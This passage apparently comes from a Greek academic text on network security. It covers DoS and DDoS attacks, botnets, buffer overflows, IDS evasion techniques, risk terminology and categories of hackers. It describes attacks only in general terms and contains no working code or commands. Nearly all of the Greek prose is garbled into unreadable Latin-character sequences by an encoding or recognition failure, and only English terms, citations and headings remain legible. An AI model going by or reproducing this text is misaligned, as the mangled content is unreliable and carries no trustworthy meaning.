etvar  kaTdppevon pog cvokevng 1 vanpeciog. Ta makéta etvor oAV pikpd (Kabmg
dgv mepEyovy Oedopéva) £Tol MOTE OKOUN Kol €vag apydg LVTOAOYIGTNG HE OpyN
oLVOEoN HECH TNAEPOVOL Vo pumopel vo katokAvoer vav Server péoa oe Adya
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devteporenta. Kabmg o Server £odgvel ypdvo Kot TOPovs Tpocmadmvtag vo YEPIoTel
OVTEG TIG WEVTIKEG GLVOETELS, apyilel va amoppintel Tokéta Kabdg katakAvleTal, pe
avtoOv tov TpOTOo, apyilel emiong va pixvel VOUIUD TOKETO OO VOULUOVS YPT|OTEG
(Cloudflare, n.d.a).

2. Kokopovia popoomompévae mraxéta (Maliciously formatted packets)
O threat actor kKakOBovAo HOPEOTOMUEVE TOKETO GE KOTOWOV LAOAOYIGT M OF
KAmolo EpapUOoYN, KATL TOL 0 ¥PNOTNG dev Umopet va dtayelplotel. Avtd Tpokaiel o
ovokevn ov AapPdvel avtd To TakETo gite va emPpadvvel T Agttovpyio TG M
KOO KO TNV KATAPPEVOT] TNG.

(Evotnta 2.2.E) Distributed Denial of Service (DDoS) Attack

Mo Distributed DoS enifeomn, poidler moAv pe o amdn enibBeon DoS, aAld ovtd mov v
Kével va Olopépel glval OTL TPOEPYETOL OO TOAAMOMAEG Kol cvvtoviopéveg mnyéc. [
Tapadetypa, €vog threat actor onpiovpyel €va 6ikTvo e HOAVGUEVOVS VTOAOYIOTES, YVAOGTO
ka1 g zombie. O threat actor ypnowonotel éva cvotnua eviohdv kot eEAEyyov (Command
and ControlCnC) pe oxomd va oteiler pnvopota eAEyyov oto zombie. AVTA GUVEXDC
copOVoOLY Kot apyilovv vo, LOADVOLY TTEPICCOTEPOVS YPNOTEG HE KOKOPOVLAO AOYIGHIKO bot.
To bot, £yl oyed0GTEL Y100 VO LOAVVEL TO KEVIPIKO GUGTNLLO T®V VITOAOYIGTAOV, KAVOVTOS TOV
Kol avtdév zombie kol vo umopet vo emkovovioetl pe 1o cvotnuo CnC. H oviioyn twv
zombies ovopaleton botnet. Apov, Aowmdv o threat actor, cuAAEEEL Taw zombie, divel odnyieg
oto ovotnuo CnC wote 10 botnet twv zombies va mpayuatomomost po enifeon DDoS
(KAPAMANHZX, 2010).

(Yooevotnta 2.2.E.1) TA 2TOIXEIA TQN EINIOEXEQN DDoS

Edv ot threat actors umopodv va mapaPidcovv moAA0VE KEVIPIKOVG VTOAOYIGTEG, TOTE AEUE
ot ekterolv pa emibeon DDoS. Ot emBéoeic DDoS egivon mapopoleg oto Awdiktvo pe tig
emBéoeig DoS, ektoc and 10 611 M enifeon DDoS avédveton oe péyebog emedn mpoépyeton
amd TOAAATMAES, cvvioviopuéveg mmyés. Mia emifeon DDoS pmopel va ypnoyomomost
EKATOVTAOES N IMAdEC TNYEG, OTmG oI entBécelc DDoS nov BaciCovtot oto IoT.

Ot ax6rovBot 6pot ypnoonooHVTAL Yo v TEPLYpAYoLV Ta. ototyeia pog enifeong DDoS:

Zombies — Avagpepopacte oe pio opdda mapaflacuévav hosts (agents). Avtoi ot hosts,
EKTEAODV TOV KOKOPOLAO KMOWKA, O omoiog avapépetar og poumot (bots). 'Etol, to
KakOBovAo Aoyopikd Loumt, mpoomadel cuveymg va d1adobel Onmg éva worm (ZOPMITAY &
KOKOBIKAS, 2021).

Bots— Amotelel éva kakOBfovio Aoyiopikd to omoio £xel oyedoTel e GKOTO Vo LOADVEL

évav host kot vo emkowwvel pe évo ovotmnua yewpwot. Ta bots pmopovv emiong vo
KOTOYPAPOVV TO TOTHUOTO TOV TANKTIP®V , VO GLAAEYOLV K®OWKOLG TpoOcPacns, va
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KOTAYPAPOVV KOl VO OVOADOVV ToKETo Kot GAAa moAAd (ZOPMITIAY & KOKOBIKAY,
2021).

Botnet — Avagepdpacte og pio opddo amd zombies ta omoior poAHVONKaY amd Kakdfovio
Aoylopkd 1o omoio Swadidetar ywpic v mapéuPacn tov ypnot (bots) kot to. omoio
eAEYYovTOL O TOVG YEPIOTEC.

Handlers — Avagepopaote Kupiowg 6Tov KHPLo S0KOMGT EVIOADY Kat EAEyyov (command
and control — CnC), mov eAéyyet T1c opddec twv zombies. O dnuiovpydg evog botnet umopei
Vo XPNOHOTOMGEL Tr] cLVOIAia avapetddoons oto Awdiktvo 1 évav webserver pe tov
serverCnC, e okomd Tov amopakpLoUéVo Eleyyo Twv zombies (thesassway, n.d.).

Botmaster — Amokaleite o threat actor, o omoiog €yl Tov €Aeyyo Tov botnet aAld Kot TV
Handlers (Radware, n.d.a).

Ymoonueiwon: Yrdpyel o mopookovopio oty omoio to. botnets pmopovv vo, movAnHovv
KOl VoL ayopa.oTtodv Evavtt Kamotag ouoprc. ‘Etotl mapéyeton otovg threat actors, botnets and
poAvouévoug hosts, €rowol va egamoAvcovy emifBeon DDoS evavtiov tov otd)ov NG
EMAOYNG TOVG.

(Evotnta 2.2.2T) BUFFER OVERFLOW ATTACK

>10y0¢ €vO¢ threat actor pe o eniBeon buffer overflow DoS, eivat va avakoldyel £6tm Kot
éva, EAMATTOUO TTOV Vo OETICETOL PE TN UV TOL GUGTNOTOG GE £VOV SETVer, LE OmOTEPO
oKOTO TNV ekueTaALeLOT Tov. H expetdAievon tng buffer pvnung, xotaxidlovidg v pe
AmPOGOOKNTEC TYWES , cLVIOWG KAGTA TO GVOTNUO U1 AEITOVPYIKO, SNUIOVPYDVTOS ETCL L0
enifeon DoS (Imperva, n.d.c).

[Tapdoeryua: ‘Evag threat actor giodyel o €va input mov etvor peyoldTepn amd oLTH TOL
avVOUEVETOL OO TNV EQOPLOYN TTOV eKTEAEiTON 6TOV server. H epappoyn avtn, d€xeTon o
™ peYdAn mocdTNTa input Kot TV amobnkevel ot pvhiun. To anotélecpa eivon 1 epappoyn
VO KOTOVOAMGEL TNV TPOCOPVY| uvnun (memory buffer), kot evdexonévaog va mpocapudcet
TN WVNUN, KATOOTPEPOVTOG TEAKA TO GUGTNLO KO TPOKUAMVTAG T S1KOTY| TNG AELTovpyiog
TOL.

‘Eva mapdostypo g xpnomng Kokofoving popoeng makétwv ntav to Ping of Death. e avt
v eniBeon, o threat actor £éotetde to Ping of Death, to omoio ftav éva aitnuo echo og éva
IP mokéto, peyaivtepo and 1o péyebog tmwv 56,535 byte (1o péyioto mokéro). O Aappdvov
host dev Ba pmopovoe va dwyepiotel éva mokéto t€Toov peyébovg, pe amotélecua vo
KOAAOVGE.

O embBéoeig buffer overflow eEghicoovian cuveymg. [pdcearta avakaidednie o evmdbeia
amopakpucpuévng enifeong DoS ota Microsoft Windows 10. Zvykekpyéva, évag threat actor
dNuovpyNnoe vav kKakOBOLVAO KOJKA Yo va. el TpOSPacT 6T LU g eeapuoyns. Otav
0 KmdKag mpooeyyiletan amd 1 depyacic AHCACHE.SYS tov Windows, emniyeipel va
TLUPOOOTHGEL TNV KATAPPEVOT] TOV GULGTHUOTOC, CPVOVLEVI] TNV TOPOYN VANPECIOV GTOV

xpNom.
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Ynoonueiowon: YrnoAroyiletat 41t To éva tpito TV KakOPovAwv enBécewv, lvarl amotélecua
buffer overflow.

2.3 MEGOAOI YIIEKOYI'HX

Ot threat actors péoa ota ypovia Epadav 6t “to hive is to thrive”(«to vo kpvPecat givar va
€VOOKIUEIC»). AvTtd onpaivel 0Tt o1 péBodot kakdBoviov AoyioukoD kot enifeong eivar mo
amotelecpoTikég  Otav  dgv  evtomilovrat. [ avtdv 1oV AOYO, TOAAEC emBEceElg
YPNOOTOWVY TEYVIKEG KPLONG OTOPLYNG YL VO, GLYKOADWYOLV &va ®EEAU0  (opTio
enifeong. O 6tdY0C TOVS EIVOL VO ATOTPEYOVY TOV EVIOTICUO OTOPEVYOVTOS TV GULVO TOV
SIKTHOV KOl TOV KEVTPIKOD VTTOAOYIOTY).

Mepikég amd tig neboddovg mov ypnopomolovy ot threat actor eivor o1 TopokdaTo:

1. Encryption and tunneling (Kpvntoypdenon kot diavorén ofqpayyac).
AV M TEYVIKN LIEKPLYNG YPNOWOTOLEL TN dNUOVPYiR CNPAYYOS YO ATOKPLYN N
KPLTTOYPAPNON, HE OKOTO TNV OVAKVKA®GN apyeimv kakdBoviov Aoyiopuikod. Avtd
Ka016Té SVOKOAO Y10 TOAAEG TEXVIKEG aViYVELONG ACPUAEING TOV EVTIOMIGUO KOl TNV
avayvmpion Tov kakofoviov Aoyiopukov. H onpayya pmopet va onuaivel arxdxpoym
KAeppévov dedouévov péoa oe vouua takéta (Oracle, 2010).

2. Resource exhaustion (EEavtinon népov).
AV M TEYVIKN OTOPVYNG KAVEL TOV KEVIPIKO VITOAOYIGTI-GTOYO TOAD AmacOANUEVO
Y0 VO XPNOILOTOMCEL OMOOTA TIC TEYVIKES aviyvevong aceaieiag (Artsandculture,
n.d.).

3. Traffic fragmentation (KvkLo@oplokog KOTUKEPROTIGNOGS).
Avt M TEYVIKN VIEKPUVYNG Y®Pilel Eva KOKOBOVAO ®EEMPO QopTio GE UIKPOTEPO
TOKETOL YOO VO TOPOAKAUYEL TOV  EVIOMIGUO OGQPOAEWS OIKTOOL. Aoy Ta
KOTOKEPUATIGUEVO TOKETA TOPAKALYOLV TO GUGTNUA OviXVELONG AGQUAEing, TO
KakOBovAo Aoylopikd emovampocsdlopiletar Kot umopel va apyicet vo oTéAvel
gvaioOnta dedopéva extdg diktvov (Sciencedirect, n.d. a).

4. Protocol-level misinterpretation (Ilopepunveia o€ eninedo TPOTOKOLLOV).
Avt N teYvIKN, gpeavifetal 6tav ot Auuveg Tov dkTHoL Ogv Yepiloviol cmOTH Ta
yopoaktnplotikd evog PDU, dmwg éva dBpotopa eAéyyov 1 pa tip TTL. Avtd pmopel
va Egyeldoel éva Tel)0g TPOCTAGIOG MOTE VAL 0yVONCEL TO TOKETO, TOV TPEMEL VoL
e éy&etl.

5. Traffic substitution (AvTikeTtdcoTacn KVKLOQOPING).
Yg auTV TNV TEYVIKN VIEKPLYNG, o threat actor emyyepel va Eeyeldoer éva IPS
oLYYEOVTOG T OedOpEVA e TO OPEAMIO PopTio. AvTd yiveTal pe TNV KOdKomoinon
T0V o€ Owpopetikn popon. o mopdderypo, o threat actor Bo pumopovce va
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xpnoonomoetl kwdkomompévn kivnon oto Unicode avti yio ASCIL. To IPS dev
avayvopilet v aAndwn) onupocio TV 0edopévav, OAAL TO TEAKO OCULOTNUO
TPoopIopov pmopel va dapdoet ta dedouéva (Santos, 2021).

Traffic insertion (Evcaymyn kokhogopiog).

Eivon mapopoto pe v avtikotdotaon KukAogopiag, ahAd €dm o threat actor sodyet
emmAéov byte dedopévav oe o kakdBovAn akoiovdio dedopévov. Ot kavoveg IPS
YEvoLuV T KaKOBOLAN S€dOUEVA, ATOJEXOUEVOL TNV TANPN GEPA OESOUEVMV.

Pivoting.

Avt 1 teyvikn vobétel 6T o threat actor £xel mopaflacel Evay e6MOTEPIKO KEVIPIKO
vroAoylotn Ko BEAEL va emexteivel Tepattépm v TpOGPacn Tov 6To TOPAPLIGHEVO
diktvo. 'Eva mopdoctypa eivar, €vog threat actor mov éxel amoxtrcel TpdsPacn cTov
KOOWKO mpdSPacng Swyeplot o€ £vav TopaPlaciévo KEVIPIKO VTOAOYIGTY] Kot
emyepel va ovvoebel oe GALO KEVIPIKO VTOAOYIOTH YPNOLOTOIDVTIONS T (O
dwmotevtipla (Geeksforgeeks, 2020a).

Rootkits.

To rootkit eivar éva moldmioko epyodeio emibeong mov ypnowomoleital amd
éumepovg threat actors. Evoopotdverot pe ta yopunAdTepa EIMESO TOL AEITOVPYIKOD
ovotnuatog. Otav éva mpdypoupo emyelpel va mapoabéoel apyeio, Olepyoaciec M
ovvdécel; dktoov, to rootkit mapovoialel po «kabopry Ekdoon g 50600V,
eCaelpovtag Kabe evoyomomtikd amotédeospa. O otdy0¢ ToL rootkit eivar va kpOyet
TANPOC TI dPOoTNPLOTNTEG TOL attecker oto Tomikd cvoTnua (veracode, n.d.).

Proxies.

H xivnon tov dwktvov pmopel va avaxkoatevboviel péow evOIIUEC®V GLOTNUATOV
TPOKEWEVOD VO OTOKPOYEL TOV TEMKO TTPOOPIGUO Yoo To. KAepuéva dedopéva. Me
avtdv 1oV TpoTo, 01 Yveotés CnC dgv amokAielovtar amd po emyeipnon enewdn o
TPOOPIGUOG TOL SKOUGT HECOAAPNoNG eaivetar Kahdg. Emmiéov, edv Kiamodv
dedopéva, 0 TPOOPIGHOG YL T OEOOUEVO, OMOKAEIGTIKNG yYpNong umopel va
Kataveun el PETOED TOAADV SKOUICTOV HEGOAAPNONG, Y®PIS va veictator m
TPOGOYN GTO YEYOVOG OTL £VOG HEUOVOUEVOS GyVOGTOG TPOOPIGUOG YPNOLUEVEL MG
TPOOPIGHOG Y10, LEYAAEG TOGOTNTEG Kivnomg dktvov (Merriam-webster, n.d.).

Néeg péboodot eniBeong avontuccovtatl cuvey®s. To Tpocmkd ac@aAeiog SKTOOL TPETEL VO
yvopiletl 1ig mo tpdcpates peBdO0VG eniBeonC TPOKEWEVOD VL TIG EVTIOTICEL.
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KEDAAAIO 3 THREAT ACTORS

H acpdieln tov mAnpogopudv €xet yivel po amd TG TO CUAVTIKEG EVVOIEC GTOV KOGUO LG
HE YVOUOVO TIG TANPOPOPIes Kot TV TeYVOAOYia. AOY® OVTNG TS £VVOl0G TNG TOVTOXOV
TOPOVCIOG VTOAOYIOTMV KOl TNG KOT' omaitnon pong Kol OVIOAANYNG TANPOPOPLDV,
KafioToTol amopaitnIn 1 TPOSTAGIN Kot 1 SIGPAALST] OTOLGONTOTE Kol OAMV TV KPIGIU®V
Tnpoeopldv. H acedieio tov TANpoQoptdv TEPIAAUPAVEL TN XPNOT OPIGUEVOV TEXVIKMDV
KOl GTOWYEIDV Y10 TNV TPOOTOGIO TMV S0UGVVIEIEUEVMOV GUOTNUATMV KOL TO O O UOVTIKO,
TOV OEO0UEVAOV KOL TOV TANPOPOPIOV TOV YPNCLULOTO0VVTAL Ond aUTE TO GLGTHUOTOL.
[Teprotpépeton yOpw amd TN STnpnomn TPV PoCIK®OV YOPOKTPIGTIKOV TOV TANPOPOPIDV -
EUMIOTELTIKOTNTO, aKkepOOTNTA Kot drafecipudtta (Jagnarine, 2005).

3.1 AITEIAEY — TPQTA XYHMEIA — KINAYNOI

Agyopoaote enibeon ko ot emtifépevol OEAovv TpdoPacn ota meplovclokd pog otoryeio. Ta
TEPLOVOIOKA oTotyela elval oTdoNmote £xel alio v Evav opyavioud, Ommg OedopUévVa Kot
GAAOV €100V TVELLLOTIKY] O10KTNG10, SlKOUIOTES (Servers), LIOAOYIOTES, £EVTVaL TNAEP®VA
(Smart phones), tablet kot GALo.

THREAT

N P4 RISK

. -
—

Ewkova 3: AMEIAEZ - TPQTA THMEIA - KINAYNOI
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Mo va katavonoovpe KOALTEPO OTIONMOTE OQPOPE TNV OCEAAEW TOV OIKTL®V, Elval
onuavtiKd vo yvopilovpe tovg akd6Aovbovg 6povg:
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1.

Threat (Awelln).

"Evog mBavog kivouvog yia évo meplovclakd ototyeio 0nwme ta dedopéva 1 o 010 10

diktvo. Amd Vv dmoyn g BvikNg acpddrelag, o Buzan (1983: 75-83) diékpive Tig
OTPATIOTIKEG AMENES (KOTAANYN €04QOVS, €GPOAN, KkaToyY, OAAoyn KLPBEpvnomng,
YEPOYDYNOT TOMTIKYG), OWKOVOUIKES OMENES (EEAYOYIKEG TPOKTIKEG, TEPLOPIGHUOL
EICAYOYDV, YEPAYDYNOT TILADV, XPEOKOTIO TO ¥PEOG, Ol GLVOAAOYUOTIKOT EAEyYOl
KA., Kol ovtol ywoo v eyyopo. otabepdtnTa), Kol Ol OWKOAOYIKEG OMEINEG
(xatacTpoPn TG PVOIKNG Pdomng Tov kpatovg) (Brauch, n.d.).

Vulnerability (Tpotd Enpeia)

Evd ot évvoleg tov amell®dv Kol TV TPOKANGEWV YPNCLLOTOI0VVTOL GUYVE ©G
GUVAOVLUO Y10 GKANPOVG KOl MOV KIVOUVOLS OCQAAELNG, 1 €VVOll TV TPOTAOV
onueiowv &xet ypnowomombel gupiTEpa OO TOAAEC OOPOPETIKEG TOMTIKEG KO
EMIOTNUOVIKEG KOWVOTNTEG UE OOLPOPETIKN onuacio. Zoppovo pe tov Webster sivat
«M Kotdotoon 1 N WTNTO TOL Vo €60t EVAAMTOC» OTOV TO EVAAMTO OVOPEPETUL GE:
«1. umopel va tpovpoTioTel 1 Vo TPOVUATIOTEL COUATIKA. .. 2. avolyTdg o€ KPITIKN N
emifeon.... 3. avorytdg oe emibeon 1 eniBeomn and Evomheg SLVAUEL. ... 4. GE YEQUP
ovpPoAaiov, TOV VIOKETOL GE OVENCT TOV KLPOGEMY Kol dkalovTal avénuéva
UTTOVOUGY. M «1 TOOTNTO 1} 1 KATACTOON TOL va. oot evdAmtoc» . Eival, ovclaotikd
N advvopio eveg GLOTNAUOTOG 1 TOL OYedOoUOD TOL Tov Oa umopovice va
ekuetaAlevtel o ameldr (Brauch, n.d.).

Y10 mopaptnuo A, Lab 3 Detecting Threats and Vulnerabilities, mapoatibeton éva
TOPAOELYLLOL L€ TO OTOI0 UTOPOVUE VO avTIAn@BovUE KOADTEPO TOV EVIOTIGUO TWV
OTEIMDV OALG KOL TOV TPOTOV GNUEI®V EVOG GLUGTALATOG LE TN ¥pN o™ Tov Nmap, Yo
™V KoAOTEPT KaTovonon oAha kot Ty avtipetonion toug (CISCO, 2017).

Attack surface (Em@aveia EnifOgonc)

‘Eva attack surface, eivatl 10 GuvoAikd aBpoiopa TV TPOTOV oNUeiDV 6g £va SOoUEVO

oVoTNUA TO 0To10 gival TpocPacno oe Evav eioPoiéa. Oa umopovoe va e16EADEL G€
éva ohonUo Kot 0mov Ba pmopovce va mapet dedopéva amd 10 cvotnua. To attack
surface meprypdoper dweopetikd onueia. o mopdderypa, T0 AglToLPYIKO G©OG
GUGTNUO KOl TO TPOYPOLLO TEPUYNONS 10TOV pmopel va ypetdloviot kol o dVO
evnuepooelg kddwa aceoieing. Efvor 10 kaBéva evdiota oe embéoeig Kot
extifevtol 610 dikTvo N 6T0 drdikTvo. Mali, dnuovpyodv o empdveln eniBeonc
TOL UTOPEL VO EKUETOALEVTEL O TOpdyovTog Tng omelAng (threat actor) (Fortinet,

n.d.a).

Exploit (Expetaiievon)

O unyoviopdg mov ypNoIULOTOIEiTOL Y10 TOV TPOTO EKUETAAAEVONG LG gvaOELng Yo
mv  mopafioon evdg meplovolakod otoyeiov. Ta exploits pmopel vo  elvan
OTOUOKPLUGUEVO 1 TOTKA. Mia amopakpLGUEVY] EKUETOAAEVOT €lvanl avTh 7OV
Aertovpyel péo® TOL JIKTVOVL YWPIG TPomyovuevn mPOSPacn ©T0  CHOTNUA
npoopopoV. O eioforéag dev yperdletar AOYOPIGUO GTO TEAMKO GUGTNL Yo VO
EKUETOAAEVTEL TNV eLTAOEL. Xe [0l TOTKT EKUETAAAEVOT|, O TOPBEYOVTOG ATEIANG EXEL
Kdmolo €idog mpoOSPacnS ¥pNoT N SWXEPIOTN OTO TEMKO cvoTnuo. Mo Tomiky



EKUETAAAEVOT Oev onpaivel amopaitnta 0Tl 0 e16foréag €xel PLGIKN TPOGPACN GTO
telMkd ovotnua (Digital Defense Inc, n.d.).

5. Risk (Kivévvog)
Opilovpe oV KivOUVO ®C «EVa HETPO TOV AVOUEVOUEVOV OTOAEIDV AOY® YEYOVOTOG
KIVOUVOU GUYKEKPIUEVOD peyéBoug mov cupPaivel o€ o dedopévn mEPLOYn GE La
ovykekpipévN ypovikn mepiodo» (Tobin/Montz 1997). Eivar oniadn n mbavdtta 6T
Mo GUYKEKPIUEVT omelly Oo  ekpetaAdevtel o ovyKekplévn evmadsio  €vog
TEPLOVGLOKOV 6TOLYEIOV Kot O 001 yNoet og avemBbunteg ovvéneieg (Brauch, n.d.).

Y10 mapdderypa tov mapaptiuatog A, Lab 4 - Discover Your Own Risky Online
Behavior, evtomilete 1 emikivouvn SOOIKTLOKY] GULUTEPUPOPA KOl TTOPEYOVTOL
oLUPOVALG Yo THY ao@oAn Tteptynon oto dwdiktvo (CISCO, n.d).

H odwyeipion kwvodvov eivar n dwdwkacioo mov e&lcopponel 0 AETOVPYIKO KOGTOG TNG
TOPOYNG TPOCTATEVTIKAOV UETP®V HE TA KEPON OV EMITLYXAVOVIOL LLE TNV TPOCTOGIN TOL
TEPLOVOIOKOD oTorEiov. Ymhpyovv técceplc ouvnbelc Tpdmol duyeipiong Tov KvovuVov,
OT®C PaiveTol oTOV TivoKa:

Amodoyn Kivovvou (Risk | Avto ovpPaiver 6tav 10 KOGTOG TOV EMAOYDOV
acceptance) dwyeipong kwvdvvov vrepPaivel 10 KOGTOG TOL
0100 ToV KIWdVVOV. O Kivdvvog etvar amodekTdg
KoL 0V yiveTon Kapio evepyela.

Amo@uyn kKivovvov (Risk avoidance) | Avtd onpaivel anoevyr onowconmote €kbeonc
otov kivovvo eCareipovtag ™ dpactnplotnTa 1
TN GLGKELY| TOL TAPOVCIALEL TOV Kivovvo. Me v
e€dAeyn WG dpacTNPOTNTOS Yo TV OITOPLYN
TOL KWOOVOL, YAvoviol kol TuYOV OQEA TOV
gtvol mBavd amd T dpacTPLOTNTO.

Mzeimon pickov (Risk reduction) Avto pewwvel v €kbeon oe kivovvo M peldveL
TOV aVTIKTUO TOV KIvoUVoL AapBdvoviag péTpa
vy ™ peiwon tov kwvovvov. Elvar  mo cvyvé
YPNOUYLOTOWOVUEVT] GTPATNYIKY] UETPLUGUOD TOV
KvodUuvov. AvTi 1 GTPOTNYIKN OOLTEl TPOGEKTIKN
afloddynon Tov KOGTOLG TNG OMMAENS, TNG
OTPOTNYIKNG UETPLOGUOD KOl TOV OPEADV OV
mpokOTTOLY  Omd T Aswtovpyla N T
dpacTNPLOTNTA TOV KIVOLVEVEL.

Metag@opa kivovvov (Risk transfer) | Mépog 11 6hog o xivdvvog petapépetar oe €va
mpobvpo Tpito HEPOC, OMMOC M0 OCOOAIGTIKN
eToupeia.
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AXA0O1 6pOL TOV YPNOYOTOLOVVTOL GTV OCPAAELD TV SIKTH®V TEPIAALUPAVOLY TO AVTILETPO
(Countermeasure), katé To 0moi0 Ol EVEPYELEG MOV AOUPAVOVTOL YIOL THV TPOCTAGIO TOV
TEPLOVGIOKMV CTOLYEI®V UE TOV UETPLOCUO L0 OTEAG 1| TN pelmon tov Kivdvvov. AAhog
évag 6pog etvar ) enintoon (Impact), 6mov 1 TBavny {npid 6tov opyoavIoUd TOL TPOKAAEITL
amd TNV amE.

Inueiwon: Mo Tomikn ekpetdAievon amaitel TpOGPUCT GTO EGOTEPIKO TOL SIKTVOV, OTWS

évag ypnomg pe Aoyoploacpd oto diktvo. Mo amopoakpuouévn eKUETAAAEVOT Ogv amottel
AOYOPLOGUO GTO SIKTVO Y10 TNV EKUETAAAEVOT) TG ELVTTAOELNG AVTOV TOV SIKTVOV.

3.2. HACKERS KAI THREAT ACTORS

(Evotnta 3.2.A) OI HACKERS

H apyum xpnon tov 6pov hacker avapépeton o€ Karvotopovg mpoypappatiotés oto MIT mov
NnBerav va e€epevviicovy o dplol TV vIoAoYoT®V mainframe. Qot1660, 0 6po¢ "hacker"
OLUVOEETOL TAEOV LE U0 OPVNTIKY YPOWL TOL TEPLYPAPEL EIGPOAELS VTOAOYIOTAOV 7OV
TPOYLOTOTOOVY KOTOOTPOPIKEG evépyeles. Tétoleg mpaelc mpokoarovv cofapry {nuid oe
ETOPIKA KOl LEUOVOUEVO GLGTHHOTO MAEKTPOVIKAOV DTOAOYIGTMV OV UTOPEL VoL 001 YCOVV
0€ KOTAOTPOPN TWV ONUOGI®V OYECEMY KO OTMAELN TNG EUTICTOGVVIG TOV KOTOUVOADTOV.

Yvvontikd, o "hacker" givan €vog Kowog Opog mov YPNCIUOTOIEITOL YioL VL TEPLYPAYEL EVOV
mapayovta anelidc. Qotdco, o 0pog "hacker" €yel mowcideg évvolec. Eilvanr évoc éEvmvog
TPOYPOUUOTIOTNG KAVOG VO OVOTTOCCEL VEQ TPOYPALUATO KOl VO KOOIKOTOEL OAAAYEG OE
VILAPYOVTO TPOYPALLOTO, Y10 VO, TOL KOVEL O OMOTEAECUOTIKA, VUG ETAYYEAUOTIOG SIKTOOL
oL YPNOUOTOIEL EEEAYUEVEG OEELOTNTEG TTPOYPOUUATIGLOD Y10, VO S10GPAAIGEL OTL TOL diKTLOL
dev givon evahmta oe embéoels, Eva dropo mov Tpoomadel vo omoKTHGEL U EE0VGL0O0TNEVN
TPOGPOCT G CLGKEVEC GTO O1ASTIKTVO, OAAG Kot Eva ATOUO OV EKTEAEL TPOYPALLLLOTOL Y10l VOL
amotpéyel N vo emPpadvvel v mpdcsPacr oto diktvo oe peydro aplBud ypnoTdV 1 va
KOTOGTPEPEL 1] VO, O1LYPAPEL OEOOUEVO. GE OLUKOUGTES.
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(Evotnta 3.2.B) TA EIAH TQN HACKER

The Six Types of Hackers

o a a
\ | —cip r— ‘\y‘-‘\\f[»
White Hat Black Hat Green Hat Red Hat

Ewkova 4: Six type of hackers

O1 6potr White Hat Hacker, Black Hat Hacker xoaw Grey Hat Hacker, ypnowonowovvton
owvnBwg Yo va meptypayovy toug hackers. Qot6co, 660 vapyet eEEMEN TG TtevoroYiog,
enpavifovtar véor 6pot 6mwg ot blue hat Hacker, Green Hat Hacker ko1 Red Hat Hacker
(Mehta, 2020).

1. White hat hacker.

Eivar ‘nbwoi’ hackers mov ypnoipomolovv Tig mpoypoppatioTikég Toug deE10TNTES
Yo KoAOVG, MOWKOVG Kol VOUIKOVUG OKOTOVG. Mmopobv va ekTteAohV  OOKIUEG
dteiodvong OktHov G€ o TPOoTADE VO VTOVOUEVGOVV OIKTLO KOl GUGTHLOTO
YPNOOTOUDVTOG TIG YVMDOELS TOVG Y10 GUGTILOTO OGPUAEING VTOAOYIGTAOV Y10 VO
AVOKOADYOLV Tp®Ta onueior Tov diktvov. Ta Tpwtd onueion acareiog avapépovtol
0€ TPOYPOUUATIOTEG KO TPOCOTIKO acPoieiog mov tpoomabovv va d1ophmdcovy 10
0éna eumabelog TPOTOL UITOPEGOLY VA TO EKUETOAAELTOVY. Opiopévol opyavicuol
amovépouv Ppofeic | emPpaPfevon oe White Hat Hackers otav mapéyovv
TAnpoopicc mov Ponbodv ctov eviomioud Tpwtmdv onueiov (Ecpi university, n.d.).

1o mapdptnua A, Lab 1 WHITE HAT HACKERS, napatnpodue tov tpomo L ToV
onoio évag White Hat tpocopoimvel emBEcELS [Le GKOTO TOV EVIOTIGHO TOV TPWTMV
ONUEI®V TOL GLGTNLLOTOG KO TOV TPOTO TTOV o niBeot epeavifeTor 6To cHOTNUA,
ue okomd TV dueon avripetdnion tov (Safebreach, 2018).

2. Gray hat hacker.
Eivor dtopo mov dampdrtrovv eykAnupota kol KOVOLV avop@opnmmra avidua
TPAYUATO, OAAL OYL Yo TPOCOTIKO O@eA0g 1 Yoo va mpokoiéoovy (nud. Eva
napadetypo Bo MTav kamowog mov mapofralel éva dlktvo ywpic Adsw kol oTn
ouvéyelo omokoAvmTel dnuodota v gvmddeia. Ov Grey hat hackers evdéyeton va
OTOKOADWOLV o EVTTABEL 6TOV EMNPEALOUEVO OPYAVICUO APOV EYOVV TOPAPLACEL
10 OikTLO TOVG. AVTO eMITPEMEL GTOV OpYaVIoUO va dopBdcel To TpoPAnua. Mepikoi
YOKEP YKPL KOTEAWDV OPEGKOVTOL VO TIGTEHOLV OTL KAVOLV KATL KOAO Y1aL TIC ETOUPELIES
napafraloviog Toug I6TOTOTOVG TOVG Kot EIGPAAAOVTAS 6T SIKTLA TOLG XWPIg AoELL.
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Q061660, 01 WI0KTNTES ETAPEIDV OTAVIO EKTIHOVV TIG U1 £0VG1000TNIEVES EIGPOAES
oTNV LTOSOUN TANPOPOPLOV TNG emyeipnong Tovg (Kaspersky, n.d.a).

Y10 mapdpmua A, Lab 2 GRAY HAT HACKERS, avaivetar pia enibeon email
phishing wov mpaypatomoteiton amd Evav Grey Hat. To mapdderypa pog fonddet va
KOTOVONGOVUE KAAVTEPQ TNV EMIOEST] OALA Kot TOV TPOTO LLE TOV OTO10 AELTOVPYOVV
ot Grey Hat Hackers (Sharma, 2021a).

Black hat hacker.

Etvor avrficor eyxkinpartieg mov mapapidlovv v ac@EAE TOV VTOAOYIGTH KOl TOL
OIKTHOV Y1t TPOSOTIKO OPEAOC 1 Yo KakOPovAovg AOYoug, Omw¢ embécelg o€
diktva. Otv Black hat hackers ekpetolievovionr ta TpOTE onueic yioo va
VTOVOUEVCOVY TOVG VLTOAOYIOTEC KO TO. GUGTNUATO VTOAOYIOTMOV KOl OKTOOV.
Této101 hacker cuyva dev evdlapépovtar Waitepa Yo T0 Kpdtog dikaiov, Ta
OUOTAUOTO. 7OV  JWITOPACGOLY 1 TIC OPVNTIKEG GCLVENEIEG MOV  TPOKOAAOVV
(Sciencedirect, n.d. b).

IMa va xotavoncovpe koAvtepa ™ dpaon twv Black Hats, oto mapddetypa mov
napatifetatl oto mapaptnua A, Lab 5 BLACK HAT HACKERS éyovv dnpovpynei
TPl SLOPOPETIKA GEVAPLA TTOL OVOADOVY Kot EENYOVV ToVv TpoOTo emifeong evog Black

Hat Hacker, aAAd ko Tovg TpOTTOVE TPOPAEYNC KOl TEPLOPIGLOV TMV OVTIGTOLY MOV
embBéocwv (CISCO, 2020).

Blue hat hacker.

Etvor aAAicdg yvootol ko g crackers 1 Script Kiddies. Mropobpe vo movpe 0Tt ot
crackers eivor o1 pun emayyehpatieg 1 aveldikevtolr Tomot hacker. Avtoi ot hackers
ypnoorowvy ta epyaieio hacking aAlwv hackers pe okomd va kévovv hacking,
